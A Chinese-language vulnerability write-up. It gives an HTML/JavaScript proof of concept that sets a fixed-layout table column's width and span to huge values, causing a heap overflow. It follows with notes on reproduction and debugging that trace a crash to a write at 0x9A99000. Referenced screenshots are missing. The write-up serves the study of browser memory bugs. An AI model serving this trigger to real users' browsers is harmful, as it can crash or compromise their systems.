0.POC文件
1 <html> 2 <body> 3 <table style="table-layout:fixed" > 4 <col id="132" width="41" span="1" >  </col> 5 </table> 6 <script> 7 8 function over_trigger() { 9 var obj_col = document.getElementById("132"); 10 obj_col.width = "42765"; 11 obj_col.span = 1000; 12 } 13 14 setTimeout("over_trigger();",10); 15 16 </script> 17 </body> 18 </html>
1.漏洞复现
环境如下
2.漏洞分析
打开POC文件即发生异常,挂载调试器。异常情况如图
注意0x9A99000位置内存不可写入导致异常,图示是增加了写权限后的内存示意图。
分析可知,是堆溢出超出堆边界导致尝试写入不可写入的内存地址而引发了异常。
异常语句如图
edi的值为0x9A99000
mov [0x9A99000],ecx
引发异常